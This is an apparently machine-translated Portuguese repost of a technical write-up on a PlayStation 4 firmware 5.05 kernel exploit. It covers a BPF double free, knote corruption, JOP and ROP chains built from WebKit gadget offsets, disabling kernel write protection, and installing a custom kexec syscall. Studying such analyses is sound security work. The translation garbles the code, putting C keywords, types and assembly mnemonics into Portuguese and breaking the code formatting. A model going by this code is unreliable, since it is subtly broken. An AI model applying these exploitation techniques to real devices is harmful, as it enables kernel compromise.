fbpx

Sony Playstation 4 (PS4) 5.05 – Escrita dupla de exploração livre do kernel do BPF

Sony Playstation 4 (PS4) 5.05 – Escrita dupla de exploração livre do kernel do BPF

** Nota: Semelhante ao 4.55, esse bug é interessante principalmente para exploração no PS4, mas também pode ser usado em outros sistemas usando a VM do Berkely Packet Filter se o invasor tiver permissões suficientes, por isso foi publicado no “FreeBSD” pasta.**

** Se você encontrou algum erro ou tem sugestões para melhorar a clareza em alguns pontos, abra um problema neste repositório ou responda-o a [este tweet] (https://twitter.com/SpecterDev/status/1017866658407280640). Obrigado :)**
# Introdução
Bem-vindo ao artigo sobre a exploração do kernel 5.0x. Alguns meses atrás, uma vulnerabilidade do kernel foi descoberta por [qwertyoruiopz] (https://twitter.com/qwertyoruiopz/) e uma exploração foi lançada para o BPF, que envolvia a criação de uma gravação fora dos limites (OOB) via uso após (UAF) devido à falta de bloqueio adequado. Foi um bug divertido e uma exploração muito trivial. A Sony removeu a funcionalidade de gravação do BPF, para que a exploração fosse corrigida. No entanto, o principal problema ainda permanecia (sendo a falta de bloqueio). Uma condição de corrida muito semelhante ainda existe no BPF passado 4.55, sobre o qual entraremos em detalhes abaixo. A fonte completa da exploração pode ser encontrada [aqui] (https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/kernel.js).

<p align = “center”>
<img src = “http://instaco.de/stream/116723”>
</p>

Esse bug não está mais acessível, no entanto, no firmware 5.05 anterior, porque o driver BPF foi finalmente bloqueado de processos não privilegiados – o WebKit não pode mais abri-lo.

A Sony também introduziu uma nova mitigação de segurança nos firmwares 5.0x para impedir que o ponteiro da pilha aponte para o espaço do usuário, no entanto, detalharemos um pouco mais a fundo.

### Premissas
São feitas algumas suposições sobre o conhecimento do leitor para a redação. O ávido leitor deve ter um entendimento básico de como os alocadores de memória funcionam – mais especificamente, como malloc () e free () alocam e desalocam a memória, respectivamente. Eles também devem estar cientes de que os dispositivos podem receber comandos ** ao mesmo tempo **, como em, um comando pode ser recebido enquanto outro está sendo processado via threading. Um entendimento dos conceitos básicos de C, x86 e exploração também é muito útil, embora não necessariamente obrigatório.

# Fundo
Esta seção contém algumas informações úteis para os mais novos na exploração, ou não estão familiarizados com os drivers de dispositivo ou várias técnicas de exploração, como pulverização de pilha e condições de corrida. Sinta-se livre para pular para a seção “Um conto de dois livres ()” se você já estiver familiarizado com este material.

### O que são drivers?
Existem algumas maneiras pelas quais os aplicativos podem se comunicar diretamente com o sistema operacional. Uma delas são chamadas de sistema, das quais existem mais de 600 no kernel PS4, dos quais 500 são FreeBSD – o restante é implementado pela Sony. Outro método é através de algo chamado “Drivers de dispositivo”. Os drivers são normalmente usados ​​para preencher a lacuna entre os dispositivos de software e hardware (unidades USB, teclado / mouse, webcams, etc.) – embora também possam ser usados ​​apenas para fins de software.

Existem algumas operações que um aplicativo da terra do usuário pode executar em um driver (se tiver permissões suficientes) para fazer interface com ele depois de abri-lo. Em alguns casos, pode-se ler, escrever ou, em alguns casos, emitir comandos mais complexos através da chamada de sistema `ioctl ()`. Os manipuladores para esses comandos são implementados no espaço ** kernel ** – isso é importante, porque qualquer bug que possa ser explorado em um manipulador ioctl pode ser usado como uma escalação de privilégios diretamente para o ring0 – normalmente o estado mais privilegiado.

Os drivers geralmente são os pontos mais fracos de um sistema operacional para atacantes, porque às vezes esses drivers são escritos por desenvolvedores que não entendem como o kernel funciona, ou os drivers são mais antigos e, portanto, não são sábios para os métodos de ataque mais recentes.

### O driver de dispositivo BPF
Se dermos uma olhada dentro da sandbox do WebKit, encontraremos um diretório `/ dev`. Embora isso possa parecer o caminho do driver de dispositivo raiz, é uma mentira. Muitos dos drivers que o PS4 possui não estão expostos a esse diretório, mas apenas aqueles que são necessários para a operação do WebKit (na maior parte). Por alguma razão, o dispositivo BPF (também conhecido como “Berkely Packet Filter”) não é apenas exposto à sandbox do WebKit – ele também tem o privilégio de abrir o dispositivo como R / W. Isso é muito estranho, porque na maioria dos sistemas esse driver é apenas raiz (e por boas razões). Se você quiser ler mais sobre isso, consulte meu artigo anterior com 4.55FW.

O que são filtros de pacotes?
Abaixo está um trecho do artigo 4.55 bpfwrite.

Como o bug está diretamente no sistema de filtros, é importante conhecer o básico sobre o que são filtros de pacotes. Os filtros são essencialmente conjuntos de pseudo-instruções que são analisadas por `bpf_filter ()` (que são executadas quando os pacotes são recebidos). Embora o conjunto de pseudo-instruções seja bastante mínimo, ele permite executar operações aritméticas básicas e copiar valores dentro do buffer. Quebrar a VM BPF em sua totalidade está muito além do escopo desse artigo, apenas saiba que o código produzido por ele é executado no modo kernel – é por isso que o acesso de leitura / gravação ao `/ dev / bpf` deve ser privilegiado .

Você pode fazer referência aos códigos de operação que a BPF VM usa [aqui] (http://fxr.watson.org/fxr/source/net/bpf.h?v=FREEBSD90#L995).

### Condições da corrida
As condições de corrida ocorrem quando dois processos / threads tentam acessar um recurso compartilhado ao mesmo tempo, sem exclusão mútua. O problema foi resolvido com a introdução de conceitos como “mutex” ou “lock”. A idéia é que, quando um encadeamento / processo tenta acessar um recurso, ele primeiro adquire um bloqueio, acessa-o e depois o desbloqueia quando termina. Se outro encadeamento / processo tentar acessá-lo enquanto o outro tiver o bloqueio, ele aguardará até que o outro encadeamento seja concluído. Isso funciona muito bem – quando é usado corretamente.

É difícil acertar o bloqueio, especialmente quando você tenta implementar um bloqueio refinado para obter desempenho. Uma única instrução ou linha de código fora da janela de bloqueio pode introduzir uma condição de corrida. Nem todas as condições de corrida são exploráveis, mas algumas são (como esta) – e elas podem dar ao invasor bugs muito poderosos para trabalhar.

### Pulverização de Heap
O processo de pulverização de pilha é bastante simples – aloque um monte de memória e preencha-a com dados controlados em um loop e reze para que sua alocação não seja roubada debaixo de você. É uma técnica muito útil ao explorar algo como um uso após livre (), pois você pode usá-lo para obter dados controlados na memória de backup do objeto de destino.

Por extensão, também é útil fazer isso por um duplo grátis (), porque, uma vez que temos uma referência obsoleta, podemos usar um heap spray para controlar os dados. Como o objeto será marcado como “livre” – o alocador acabará nos fornecendo controle sobre essa memória, mesmo que outra coisa ainda esteja sendo usada. Ou seja, a menos que outra coisa já tenha roubado o ponteiro de você e o corrompido – então você provavelmente sofrerá uma falha no sistema, e isso não é divertido. Esse é um fator que aumenta a variação de explorações e, geralmente, quanto menor o objeto, maior a probabilidade de isso acontecer.

# Um conto de dois Free ()
Através do comando `ioctl ()`, um usuário pode definir um programa de filtro em um determinado descritor por meio de comandos como `BIOSETWF`. Existem outros comandos para definir outros filtros, no entanto, o filtro de gravação é o único interessante para nós para essa gravação. Uma parte importante da exploração anterior foi o poder de liberar () um filtro mais antigo depois que um novo foi alocado, via `bpf_setf ()`, que é chamado diretamente pelo manipulador de comandos do `BIOSETWF`. Isso nos permitiu liberar () um filtro enquanto ele estava em uso. Esse free () por si só também é um bug que pode ser explorado e é aproveitado na exploração mais recente. Vamos dar uma olhada no `bpf_setf ()` novamente.

[src] (http://fxr.watson.org/fxr/source/net/bpf.c?v=FREEBSD90#L1523)
“ c
static int bpf_setf (struct bpf_d * d, struct bpf_program * fp, u_long cmd)
{
struct bpf_insn * fcode, * antigo;

// …

if (cmd == BIOCSETWF) {
old = d-> bd_wfilter; // <—– ISSO NÃO ESTÁ BLOQUEADO 🙂
filtro = 1;
}

// …
if (fp-> bf_insns == NULL) {
// …

BPFD_LOCK (d);

// …

BPFD_UNLOCK (d);

if (antigo! = NULL)
livre ((caddr_t) antigo, M_BPF);

retorno (0);
}

// …
}
“ “

Podemos ver que existem variáveis ​​na pilha para conter ponteiros de filtro, incluindo uma para o filtro `old` que eventualmente fica livre () ‘d. Se o comando ioctl estiver definido como `BIOSETWF`, o ponteiro de` d-> bd_wfilter` será copiado para a variável de pilha `antiga`.

Posteriormente, podemos ver que eles bloqueiam o descritor BPF e anulam as referências aos filtros. Eles bloqueiam a limpeza de referência, mas e o ponteiro de `d-> bd_wfilter` sendo copiado para a pilha? Como vimos em explorações anteriores, vários threads podem ser executados e usar o mesmo objeto `bpf_d`. Se tivéssemos que correr configurando dois filtros em paralelo, há uma chance de que os dois threads copiem o mesmo ponteiro para as pilhas do kernel, resultando em uma liberação dupla, pois os dois ponteiros serão processados.

! [gif de demonstração] (https://i.imgur.com/2v2Hwqk.gif)

# Envenenando o alocador
Com uma primitiva double free (), temos a capacidade de obter corrupção de memória no heap do kernel envenenando o alocador de memória. Isso essencialmente nos permite criar um uso após livre () direcionado (UAF) em um objeto alocado após a corrupção.

# Corrompendo nós
### Resumo
Semelhante a 1.76, o objeto de destino para essa exploração usada foi o objeto `knote`. Os objetos `kqueue` representam filas de eventos para gerar esses eventos. As listas `knote` são gerenciadas pelo` kqueue` em que estão. O objeto `knote` é usado para representar um evento do kernel na memória, e são vinculados por uma lista vinculada individualmente. O Qwerty escolheu `knote` por causa de listas de knote (chamadas` knlist`), pois isso nos dá algum grau de controle do tamanho. Vamos dar uma olhada na estrutura (macros foram omitidas por questões de brevidade).

[src] (http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L196)
“ c
struct knote {
SLIST_ENTRY (knote) kn_link; / * para kq * /
SLIST_ENTRY (knote) kn_selnext; / * para struct selinfo * /

struct knlist * kn_knlist; / * f_attach preenchido * /
TAILQ_ENTRY (knote) kn_tqe;
struct kqueue * kn_kq; / * em que fila estamos * /
struct kevent kn_kevent;
int kn_status; / * protegido pelo bloqueio kq * /
int kn_sfflags; / * sinalizadores de filtro salvos * /
intptr_t kn_sdata; / * campo de dados salvo * /

União {
arquivo struct * p_fp; / * ponteiro de dados do arquivo * /
struct proc * p_proc; / * ponteiro proc * /
struct aiocblist * p_aio; / * Ponteiro de trabalho AIO * /
struct aioliojob * p_lio; / * Ponteiro de trabalho LIO * /
} kn_ptr;

struct filterops * kn_fop; // <— De interesse como atacante, deslocamento: 0x68
void * kn_hook;
int kn_hookid;
};
“ “

Há um campo interessante lá, `struct filterops * kn_fop` no deslocamento 0x68. Essa é essencialmente uma tabela de ponteiros de função que é referenciada quando algo acontece com o evento, como anexar ou desanexar. O ponteiro da função `f_detach` será desreferenciado e chamado quando o` kqueue` e, por extensão, o `knote` estiver sendo destruído.

[src] (http://fxr.watson.org/fxr/source/sys/event.h?v=FREEBSD90#L182)
“ c
struct filterops {
int f_isfd;
int (* f_attach) (struct knote * kn);
void (* f_detach) (struct knote * kn);
int (* f_event) (struct knote * kn, dica longa);
void (* f_touch) (struct knote * kn, struct kevent * kev, tipo u_long);
};
“ “
Ao corromper o ponteiro da função `f_detach`, o seqüestro do ponteiro da instrução e, portanto, a execução arbitrária do código podem ser alcançados quando o objeto é destruído através da destruição do` kqueue` corrompido.

### Visão geral da exploração
Nossa estratégia de exploração é direcionar um UAF no objeto `knote` para seqüestrar o ponteiro de instruções. Vamos detalhar as etapas / etapas para uma exploração bem-sucedida.

1) Abra os descritores BPF, configure um filtro NOP e um filtro para pulverização de heap
2) Configure o objeto `knote ‘falso no heap do WebKit para JOP.
3) Configure a cadeia ROP do kernel
4) Inicie o thread um
5) Inicie o encadeamento dois

O segmento 1 fará as seguintes ações:
1) Crie um kqueue via `sys_kqueue ()`
2) Defina um filtro no dispositivo na tentativa de envenenar o alocador
3) Disparar um kevent
4) Execute um heap spray na tentativa de obter corrupção de memória
5) Feche o kqueue (tente obter a execução do código)

O segmento 2 simplesmente tentará continuamente definir um filtro de gravação.

# Um homem pobre SMAP
Em algum momento do 5.0x, parece que a Sony adicionou alguma atenuação ao agendador para verificar o ponteiro da pilha em relação aos endereços da terra do usuário ao executar no contexto do kernel, semelhante à mitigação cada vez mais comum de “Supervisor Mode Access Prevention” (SMAP) encontrada em sistemas modernos. Isso transformou uma exploração bastante trivial em alguma manipulação complexa de memória do kernel para executar uma cadeia ROP (kROP) do kernel. Que eu saiba, isso não foi muito investigado, mas tentar um pivô de pilha simples como fizemos em explorações anteriores na memória da terra do usuário causará um travamento no kernel.

Para evitar isso, precisamos colocar nossa cadeia ROP na memória do kernel. Para fazer isso, o qwerty decidiu seguir o método que ele usava no iPhone 7 – essencialmente usando o JOP para empurrar um monte de quadros de pilha para a pilha do kernel e `memcpy ()` `inserindo a cadeia no` RSP`.

Você pode encontrar uma anotação detalhada da exploração [aqui] (https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js) para ajudá-la a entender, pois ela fica bastante complexo.
# JOP Explained
Os engenheiros de software começaram a ser sábios ao empilhar técnicas de pivô e impedir que o invasor aumente a capacidade de empilhar na memória controlada pelo usuário é uma contra-medida bastante decente, no entanto, como tudo, é contornável. JOP (programação orientada a salto) é uma maneira. Você pode usar o JOP para implementar uma cadeia completa ou usá-lo como um método para acessar o ROP através da inserção da sua cadeia ROP na memória do kernel. O último é preferido, porque implementar a lógica na JOP (enquanto possível) pode ser um pesadelo.

### ROP vs. JOP
A Programação Orientada a Retorno (ROP) é ​​essencialmente o processo de criação de uma pilha falsa e de empurrar o endereço dos gadgets para ela, e girar o RSP para ela. Sua cadeia de dispositivos é então executada como uma pilha de chamadas real e toda vez que a instrução `ret` é acionada, o próximo dispositivo da cadeia é executado.

A Programação Orientada a Saltos (JOP) funciona de maneira um pouco diferente. Em vez de terminar seus gadgets com uma instrução `ret`, você termina seus gadgets com uma instrução` jmp`. Enquanto você controla o destino (talvez exista um registro do qual possa influenciar o valor), você pode encadear com outros gadgets, sem a necessidade de usar uma pilha falsa. Por exemplo, se você controlar o valor de `rax`, seu gadget poderá terminar com` jmp rax`. Ao definir o valor de `rax` como o endereço do próximo gadget, você pode encadeá-los.

Com o JOP, você geralmente precisa ser mais criativo, porque fica ainda mais limitado com os possíveis gadgets – é por isso que não é preferível implementar cadeias completas no JOP.

[src] (https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html)
! [] (https://2.bp.blogspot.com/-yUFFwdM6oO0/Tuiw4OjNixI/AAAAAAAAK3E/tSw-A5H-O9o/s1600/Screen+Shot+2011-12-14+at+3.20.51+PM.png )

# Fingindo um nó
Agora que abordamos o básico do que é a exploração e o básico do JOP, iniciaremos o processo de exploração do bug. A primeira coisa que precisamos fazer é configurar um objeto `knote ‘falso para pulverizar o monte. Felizmente, fingir esse objeto é fácil, não há necessidade de falsificar um monte de membros para obter estabilidade, precisamos apenas falsificar alguns membros junto com `kn_fops`, nosso objeto de destino. O buffer `ctxp` é usado para configurar nosso falso` knote`.

“ javascript
var ctxp = p.malloc32 (0x2000); // ctxp = knote
p.write8 (ctxp.add32 (0), ctxp2); // 0x00 = kn_link – não é importante para o kqueue em si, mas para o gadget JOP
p.write8 (ctxp.add32 (0x50), 0); // 0x50 = kn_status = 0 (limpe os sinalizadores para que o desanexamento seja chamado)
p.write8 (ctxp.add32 (0x68), ctxp1); // 0x68 = kn_fops
“ “

Observe que definimos `kn_fops` como` ctxp1` – este é o buffer da tabela de função `kn_fops` falsa. A única coisa que precisamos fingir nesta tabela é `kn_fops-> f_detach ()`, porque esta é a única função que será chamada na destruição do kqueue.

“ javascript
var ctxp1 = p.malloc32 (0x2000); // ctxp1 = knote-> kn_fops
p.write8 (ctxp1.add32 (0x10), offsetToWebKit (0x12A19CD)); // Miniaplicação JOP
“ “

Como você pode ver, é aqui que alcançamos a execução arbitrária de código e estamos direcionando o RIP para 0x12A19CD no WebKit. Aqui está um trecho x86 do código relevante para `kqueue_close ()` – onde o controle do ponteiro da instrução é alcançado.

[src] (http://fxr.watson.org/fxr/source/kern/kern_event.c?v=FREEBSD90#L1664)
“ “
; Nota: R14 = ctxp
seg000: byte de teste FFFFFFFF89D29861 ptr [r14 + 50h], 8; definimos ctxp + 0x50 para 0, então estamos bem
seg000: FFFFFFFF89D29866 jnz short loc_FFFFFFFF89D29872; irrelevante
seg000: FFFFFFFF89D29868 mov rax, [r14 + 68h]; r14 + 0x68 = ctxp1
seg000: FFFFFFFF89D2986C mov rdi, r14; r14 + 0x00 = ctxp2 = rdi
seg000: FFFFFFFF89D2986F chama qword ptr [rax + 10h]; Gadget JOP
“ “

Observe também que controlamos o registro `rdi` aqui através do registro` r14`. Sob circunstâncias normais, o objeto knote `kn` é carregado no` rdi`, pois é o primeiro argumento para `kn-> kn_fop-> f_detach ()` – no entanto, porque temos corrupção no `knote` – não podemos apenas controlar para onde pulamos, mas também os argumentos. Isso é importante para o JOP, porque o próximo salto no primeiro dispositivo JOP exige que tenhamos o controle do registro RDI.

# Execução de código
### Criando espaço no kstack
Para empurrar um pouco de espaço na pilha, podemos usar uma cadeia JOP. Usaremos a variável `stackshift_from_retaddr` para rastrear quanto empurramos na pilha. Primeiro, executaremos um prólogo de função, que subtrairá do RSP, criando espaço para colocarmos nossa cadeia ROP. Este prólogo de função é o nosso primeiro dispositivo JOP no `0x12A19CD`, que configuramos anteriormente em nosso` knote ‘falso que aplicamos.

“ “
seg000: 00000000012A19CD sub rsp, 58h
seg000: 00000000012A19D1 mov [rbp-2Ch], edx
seg000: 00000000012A19D4 mov r13, rdi
seg000: 00000000012A19D7 mov r15, rsi
seg000: 00000000012A19DA mov rax, [r13 + 0]
seg000: 00000000012A19DE chama qword ptr [rax + 7D0h] // Subsplica implicitamente 0x8 a partir de rsp
“ “

Neste ponto, estamos 0x5C de distância do ponteiro da pilha original. Agora lembre-se, para o JOP funcionar, precisamos ser capazes de controlar onde o código salta a seguir, o que significa que temos que controlar o `rax`. Felizmente, podemos ver que `rax` é carregado de` r13 + 0` e `r13` é definido de` rdi`. Como detalhado acima, temos corrupção no `rdi` através do objeto` knote`. Se olharmos para a seção anterior onde o gadget JOP é chamado a partir do kernel, definimos `rdi` como` ctxp2`. O próximo gadget será chamado em `ctxp2 + 0x7D0`, que definiremos como` 0x6EF4E5`.

“ javascript
p.write8 (ctxp2.add32 (0x7d0), offsetToWebKit (0x6EF4E5));
“ “
“ “
seg000: 00000000006EF4E5 mov rdi, [rdi + 10h]
seg000: 00000000006EF4E9 jmp qword ptr [rax]
“ “

Este dispositivo nos permitirá definir `rdi` com um novo valor e pular para` rax`, que ainda é equivalente ao endereço de `ctxp2`. Observe que esse gadget nos permite fazer um loop, porque podemos escrever o primeiro para `ctxp2` e definir onde o primeiro gadget salta para via` rdi ​​+ 0x10`.

“ javascript
var iterbase = ctxp2;

for (var i = 0; i <0xf; i ++) {// loop 15 vezes
p.write8 (iterbase, offsetToWebKit (0x12A19CD)); // primeiro gadget JOP
stackshift_from_retaddr + = 8
p.write8 (iterbase.add32 (0x7d0 + 0x20), offsetToWebKit (0x6EF4E5)); // segundo gadget JOP
p.write8 (iterbase.add32 (8), iterbase.add32 (0x20));
p.write8 (iterbase.add32 (0x18), iterbase.add32 (0x20 + 8))
iterbase = iterbase.add32 (0x20); // configura o próximo loop
}
“ “

### Preparando chamada memcpy
#### Fundamentos
Agora que criamos espaço na pilha, queremos copiar nossa cadeia ROP do kernel para ser executada. Vamos dar uma olhada na assinatura da função do memcpy ():

“ c
void * memcpy (destino void *, fonte constante void *, size_t num);
“ “

Conforme definido na ABI x64 (Interface Binária do Aplicativo) – os seguintes registros são usados ​​para passar argumentos para funções:

“ “
rdi – primeiro argumento
rsi – segundo argumento
rdx – terceiro argumento
rcx – quarto argumento
r8 – quinto argumento
r9 – sexto argumento
[pilha] – sete + argumentos
“ “

Portanto, os seguintes registros são interessantes para esta chamada de memória:

“ “
rdi (ponteiro de destino da memória)
rsi (ponteiro da fonte de memória)
rdx (tamanho em bytes)
“ “

#### Tamanho da configuração
A primeira coisa que faremos é carregar o RDX para o tamanho. Podemos fazer isso através de outro dispositivo JOP no WebKit em `0x15CA41B`.

“ “
seg000: 00000000015CA41B mov rdx, [rdi + 0B0h]
seg000: 00000000015CA422 chamar qword ptr [rdi + 70h]
“ “

Podemos escrever em relação ao RDI através da variável `rdibase`. Ao adicionar nosso turno mais 0x28 (deslocamento para o local em que estamos escrevendo na pilha), podemos carregar RDX com o comprimento de nossa corrente.

#### Definir origem
Em seguida, carregaremos o ponteiro de origem no RSI. Queremos que isso aponte para onde estamos escrevendo nossa cadeia ROP do kernel na terra do usuário. Semelhante a quando definimos o tamanho, procuraremos novamente um gadget JOP que pode definir o RSI da memória em relação ao RDI. O WebKit em `0x1284834` faz o truque.

“ “
seg000: 0000000001284834 mov rsi, [rdi + 8]
seg000: 0000000001284838 mov rdi, [rdi + 18h]
seg000: 000000000128483C mov rax, [rdi]
seg000: 000000000128483F chamada qword ptr [rax + 30h]
“ “

#### Definir destino
Finalmente, precisamos configurar o RDI para que ele aponte para todos os nossos quadros de pilha falsos que colocamos na pilha do kernel. Isso acaba sendo no RBP (ponteiro base) – 0x28. Podemos usar outro dispositivo JOP em `0x272961`.

“ “
seg000: 0000000000272961 lea rdi, [rbp-28h]
seg000: 0000000000272965 chamar qword ptr [rax + 40h]
“ “

#### Chamando Memcpy
Agora que os argumentos estão configurados, precisamos chamar `memcpy ()`. Observe no nosso último dispositivo JOP, que o próximo local para o qual pulamos é a configuração baseada em `[rax + 0x40]`. É aqui que queremos escrever o endereço de `memcpy ()` na userland. Ignoraremos o prólogo de função e as otimizações para evitar efeitos colaterais produzidos pelos nossos gadgets JOP anteriores.

“ javascript
p.write8 (raxbase.add32 (0x40), memcpy.add32 (0xC2 – 0x90)); // pula o prólogo cobrindo ramificações com efeito colateral e otimizações
var topofchain = stackshift_from_retaddr + 0x28;
p.write8 (rdibase.add32 (0xB0), topofchain);
“ “

# Explorar depuração (tipo de)
### Resumo
Foi-me sugerido que eu deveria incluir uma seção contendo alguns detalhes sobre as complicações que ocorreram. Já detalhamos um deles, sendo a implementação do tipo SMAP, mas outro foi a falta de depuração. Nesse momento, não tínhamos uma configuração de estrutura de depuração do kernel para trabalhar com o PS4. No entanto, tivemos a capacidade de corrigir o kernel para habilitar informações UART e “pânico detalhado” se houver uma exploração do kernel existente funcionando. É claro que, assim que o sistema é reiniciado, não temos mais acesso ao UART nem informações detalhadas de pânico, mesmo que o tivéssemos.

Armadilhas fatais
As informações de pânico impressas no klog / UART podem ser uma ferramenta muito útil para explorações de depuração (e é provavelmente por isso que a Sony as desativou em primeiro lugar). Abaixo está um exemplo de pânico de falha de página padrão no klog:

“ “
Armadilha fatal 12: falha de página no modo kernel
cpuid = 0; id apic = 01
endereço virtual da falha = 0xffffde1704254000
código de falha = instrução de leitura do supervisor, violação de proteção
ponteiro de instrução = 0x20: 0xffffde1704254000
ponteiro da pilha = 0x28: 0xffffff807119b220
ponteiro de quadro = 0x28: 0xffffff807119b2b0
segmento de código = base 0x0, limite 0xfffff, tipo 0x1b
= DPL 0, pres 1, long 1, def32 0, gran 1
eflags do processador = interrupção ativada, currículo, IOPL = 0
processo atual = 87 (infloopThr)
“ “

Como você pode ver, algumas informações aqui são extremamente úteis, especialmente o endereço virtual e o ponteiro de instruções.

### Complicações
Essa informação é fantástica quando o sistema realmente a fornece. No entanto, existem alguns casos em que o sistema não funciona. Freqüentemente isso parece ocorrer porque a falha ocorre em uma * seção crítica *, como dentro do free () diretamente. Para obter mais informações sobre seções críticas, consulte [Seções críticas] (https://en.wikipedia.org/wiki/Critical_section).

Outras vezes, o motivo pelo qual não obtemos essas informações é desconhecido. Se as informações de pânico não puderem ser obtidas porque não temos uma exploração existente ou as informações simplesmente não serão impressas no klog, outros truques devem ser usados, como o uso de dispositivos infloop e outras técnicas de depuração de exploração “hacky” .

# Corrigindo o kernel
### Desativando a proteção contra gravação
Agora que temos a capacidade de executar cadeias ROP do kernel devido à nossa feitiçaria de manipulação de pilha descrita na última seção, podemos aplicar patches do kernel depois de desativar a proteção contra gravação do kernel através do registro `cr0` Podemos fazer isso apenas girando o bit de proteção contra gravação no bit 16.

[src] (https://en.wikipedia.org/wiki/Control_register#CR0)
! [tabela cr0] (https://i.imgur.com/L2DwIrz.png)

“ js
krop.push (window.gadgets [“pop rsi”]);
krop.push (novo int64 (0xFFFEFFFF, 0xFFFFFFFF)); // Virar bit WP
krop.push (window.gadgets [“e rax, rsi”]);
krop.push (window.gadgets [“mov rdx, rax”]);
“ “

### Instalando um Syscall (Kexec)
Por uma questão de brevidade, não abordarei todos os patches em detalhes, no entanto, aqui está uma breve recapitulação dos patches feitos na cadeia ROP.

“ “
sys_setuid syscall – remover verificação de permissão
sys_mmap syscall – permite mapeamento RWX
amd64_syscall – instrução syscall permitida em qualquer lugar
sys_dynlib_dlsym syscall – permite a resolução dinâmica de qualquer lugar
“ “

O principal objetivo da cadeia é instalar nossa própria chamada de sistema chamada `kexec`. Isso nos permitirá executar código arbitrário no modo kernel facilmente a partir de qualquer aplicativo, independentemente dos privilégios.

“ c
sys_kexec (código void *, void * uap);
“ “

Código como jailbreaking e HEN são executados via `kexec`. A instalação é bastante fácil, basta adicionar uma entrada no sysent.

[src] (http://fxr.watson.org/fxr/source/sys/sysent.h?v=FREEBSD90#L56)
“ c
struct sysent {/ * tabela de chamada do sistema * /
int sy_narg; / * número de argumentos * /
sy_call_t * sy_call; / * função de implementação * /
au_event_t sy_auevent; / * evento de auditoria associado ao syscall * /
systrace_args_func_t sy_systrace_args_func;
/ * função de conversão de argumento opcional. * /
u_int32_t sy_entry; / * ID de entrada do DTrace para systrace. * /
u_int32_t sy_return; / * ID de retorno do DTrace para systrace. * /
u_int32_t sy_flags; / * Sinalizadores gerais para chamadas do sistema. * /
u_int32_t sy_thrcnt;
};
“ “

Definindo `sy_call` como um dispositivo` jmp qword ptr [rsi] `(que pode ser encontrado no kernel no deslocamento` 0x13460`), `sy_narg` como` 2` e `sy_flags` como` SY_THR_STATIC` (`100000000 `), podemos inserir com sucesso uma chamada de sistema personalizada que executa o código no anel0.

“ “
seg000: FFFFFFFF8AC38820 dq 2; Syscall # 11
seg000: FFFFFFFF8AC38828 dq 0FFFFFFFF89BCF460h
seg000: FFFFFFFF8AC38830 dq 0
seg000: FFFFFFFF8AC38838 dq 0
seg000: FFFFFFFF8AC38840 dq 0
seg000: FFFFFFFF8AC38848 dq 100000000h
“ “

# Sony Patch
Novamente, não um patch real, mas um patch da Sony – embora desta vez mais eficaz. A abertura do BPF foi bloqueada para processos não privilegiados, como o WebKit e outros aplicativos / jogos. Ainda está presente na caixa de areia, no entanto, a tentativa de abri-la falhará e produzirá o EPERM.

# Conclusão
Outro bug legal para explorar. Deveria ter sido uma exploração trivial, no entanto, a nova mitigação da Sony que impede que os desenvolvedores explorem o RSP na memória da terra do usuário enquanto no contexto do kernel é bastante eficaz, e alguns truques tiveram que ser usados ​​para colocar a cadeia na memória do kernel – mas, como demonstrado, é imbatível. Esta exploração também é um bom exemplo de como o double free () pode ser explorado facilmente no FreeBSD se estiver em um objeto de tamanho decente.

# Créditos
[qwertyoruiopz] (https://twitter.com/qwertyoruiopz)

[flatz] (https://twitter.com/flat_z)

# Agradecimentos adicionais
[TheFloW] (https://twitter.com/theflow0) – Sugestões e comentários

# Referências
[qwertyoruiopz: anotação detalhada] (https://github.com/kpwn/PS4-5.05-Kernel-Exploit/blob/9e97c398342ed6499a00fce0c081f7bf1efaaef1/kernel.js)

[qwertyoruiopz: Slides Zero2Ring0] (http://crack.bargains/02r0.pdf)

[Referência cruzada do kernel do Watson FreeBSD] (http://fxr.watson.org/fxr/source/?v=FREEBSD90)

[Marco Ramilli: do ROP ao JOP] (https://marcoramilli.blogspot.com/2011/12/from-rop-to-jop.html)

[Wikipedia: Registro de controle (cr0)] (https://en.wikipedia.org/wiki/Control_register#CR0)

[Wikipedia: seção crítica] (https://en.wikipedia.org/wiki/Critical_section)

29 de outubro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.